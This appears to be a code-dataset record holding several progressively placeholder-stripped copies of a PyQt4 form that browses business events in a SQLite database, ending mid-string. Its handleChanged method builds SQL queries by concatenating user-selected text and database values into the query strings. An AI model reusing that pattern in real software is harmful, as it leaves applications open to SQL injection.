palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n\n def initialize(self):\n self.cb_EventType.addItems(self.getBusinessEventsType())\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n\n def setupUi(self, Form):\n Form.setObjectName(_fromUtf8('Form'))\n Form.resize(666, 538)\n palette = QtGui.QPalette()\n self.eventSkip = 0\n self.db = Database()\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.Window, brush)\n self.inWork = True\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.Window, brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Text, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Base, brush)\n brush = QtGui.QBrush(QtGui.QColor(8, 129, 2))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.Window, brush)\n Form.setPalette(palette)\n self.tb_EventViewer = QtGui.QTableView(Form)\n self.tb_EventViewer.setGeometry(QtCore.QRect(60, 120, 531, 351))\n self.tb_EventViewer.setObjectName(_fromUtf8('tb_EventViewer'))\n self.tb_EventViewer.horizontalHeader().setVisible(False)\n self.tb_EventViewer.verticalHeader().setVisible(False)\n self.bt_Earlier = QtGui.QPushButton(Form)\n self.bt_Earlier.setGeometry(QtCore.QRect(60, 90, 75, 23))\n self.bt_Earlier.setObjectName(_fromUtf8('bt_Earlier'))\n self.bt_Earlier.clicked.connect(self.clicked_bt_Earlier)\n self.bt_Later = QtGui.QPushButton(Form)\n self.bt_Later.setGeometry(QtCore.QRect(510, 90, 75, 23))\n self.bt_Later.setObjectName(_fromUtf8('bt_Later'))\n self.bt_Later.clicked.connect(self.clicked_bt_Later)\n self.label = QtGui.QLabel(Form)\n self.label.setGeometry(QtCore.QRect(70, 0, 511, 41))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.ButtonText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.ButtonText,\n brush)\n self.label.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI Light'))\n font.setPointSize(18)\n font.setBold(True)\n font.setWeight(75)\n self.label.setFont(font)\n self.label.setObjectName(_fromUtf8('label'))\n self.cb_EventType = QtGui.QComboBox(Form)\n self.cb_EventType.setGeometry(QtCore.QRect(230, 50, 221, 22))\n self.cb_EventType.setObjectName(_fromUtf8('cb_EventType'))\n self.cb_EventType.currentIndexChanged['QString'].connect(self.\n handleChanged)\n self.label_2 = QtGui.QLabel(Form)\n self.label_2.setGeometry(QtCore.QRect(70, 50, 121, 21))\n self.label_3 = QtGui.QLabel(Form)\n self.label_3.setGeometry(QtCore.QRect(190, 90, 221, 21))\n palette = QtGui.QPalette()\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Active, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(255, 255, 255))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Inactive, QtGui.QPalette.WindowText,\n brush)\n brush = QtGui.QBrush(QtGui.QColor(120, 120, 120))\n brush.setStyle(QtCore.Qt.SolidPattern)\n palette.setBrush(QtGui.QPalette.Disabled, QtGui.QPalette.WindowText,\n brush)\n self.label_2.setPalette(palette)\n self.label_3.setPalette(palette)\n font = QtGui.QFont()\n font.setFamily(_fromUtf8('Segoe UI'))\n font.setPointSize(12)\n self.label_2.setFont(font)\n self.label_2.setObjectName(_fromUtf8('label_2'))\n self.label_3.setFont(font)\n self.label_3.setObjectName(_fromUtf8('label_3'))\n self.retranslateUi(Form)\n QtCore.QMetaObject.connectSlotsByName(Form)\n self.initialize()\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n\n def clicked_bt_Earlier(self):\n self.eventSkip = self.eventSkip + 1\n self.handleChanged(self.cb_EventType.currentText())\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n\n def retranslateUi(self, Form):\n Form.setWindowTitle(_translate('Form', 'Revisit business events', None)\n )\n self.bt_Earlier.setText(_translate('Form', '<<', None))\n self.bt_Later.setText(_translate('Form', '>>', None))\n self.label.setText(_translate('Form', 'Revisit business events', None))\n self.label_2.setText(_translate('Form', 'Select Event Type', None))\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n\n def getBusinessEventsType(self):\n conn = sqlite3.connect('../Database/Business.db')\n conn.text_factory = str\n c = conn.cursor()\n c.execute('SELECT Event FROM EventTypes')\n locs = [r[0] for r in c.fetchall()]\n conn.close()\n return locs\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 1\")\n query_Destination.next()\n modelInputItem = QtGui.QStandardItem('Destination')\n modelInputValue = QtGui.QStandardItem(query_Destination.\n value(0).toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(4).toString() != '':\n modelInputItem = QtGui.QStandardItem('Weight')\n modelInputValue = QtGui.QStandardItem(query.value(4).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(5).toString() != '':\n modelInputItem = QtGui.QStandardItem('Volume')\n modelInputValue = QtGui.QStandardItem(query.value(5).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(6).toString() != '':\n modelInputItem = QtGui.QStandardItem('Time of Entry')\n modelInputValue = QtGui.QStandardItem(query.value(6).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(7).toString() != '':\n modelInputItem = QtGui.QStandardItem('Priority')\n modelInputValue = QtGui.QStandardItem(query.value(7).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(8).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per Gram')\n modelInputValue = QtGui.QStandardItem(query.value(8).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(9).toString() != '':\n modelInputItem = QtGui.QStandardItem('Price Per CC')\n modelInputValue = QtGui.QStandardItem(query.value(9).toString()\n )\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(10).toString() != '':\n modelInputItem = QtGui.QStandardItem('Company')\n modelInputValue = QtGui.QStandardItem(query.value(10).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(11).toString() != '':\n modelInputItem = QtGui.QStandardItem('Transport Type')\n modelInputValue = QtGui.QStandardItem(query.value(11).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(12).toString() != '':\n modelInputItem = QtGui.QStandardItem('Day of the Week')\n modelInputValue = QtGui.QStandardItem(query.value(12).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(13).toString() != '':\n modelInputItem = QtGui.QStandardItem('Frequency')\n modelInputValue = QtGui.QStandardItem(query.value(13).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(14).toString() != '':\n modelInputItem = QtGui.QStandardItem('Duration')\n modelInputValue = QtGui.QStandardItem(query.value(14).\n toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if recCount == 0:\n self.label_3.setText(_translate('Form', 'No Records found', None))\n self.inWork = False\n else:\n self.label_3.setText(_translate('Form', '', None))\n self.inWork = True\n self.tb_EventViewer.setModel(modelView)\n <function token>\n <function token>\n\n\nclass Database:\n\n def __init__(self, parent=None):\n self.data = QtSql.QSqlDatabase.addDatabase('QSQLITE')\n self.data.setDatabaseName('../Database/Business.db')\n self.data.open()\n", "<import token>\n<code token>\n\n\nclass Ui_Form(object):\n <function token>\n <function token>\n <function token>\n <function token>\n\n def handleChanged(self, text):\n modelView = QtGui.QStandardItemModel()\n query = QtSql.QSqlQuery()\n query.exec_(\n \"Select * from BusinessEvents a, EventTypes b where b.Event = '\" +\n text +\n \"' and b.EventTypeID = a.EventTypeID order by ID DESC LIMIT \" +\n str(self.eventSkip) + ',1')\n recCount = 0\n while query.next():\n recCount = recCount + 1\n if query.value(2).toString() != '':\n query_Origin = QtSql.QSqlQuery()\n query_Origin.exec_(\"Select Name from Cities where ID = '\" +\n query.value(2).toString() + \"' LIMIT 1\")\n query_Origin.next()\n modelInputItem = QtGui.QStandardItem('Origin')\n modelInputValue = QtGui.QStandardItem(query_Origin.value(0)\n .toString())\n modelView.appendRow([modelInputItem, modelInputValue])\n if query.value(3).toString() != '':\n query_Destination = QtSql.QSqlQuery()\n query_Destination.exec_(\n \"Select Name from Cities where ID = '\" + query.value(3)\n .toString() + \"' LIMIT 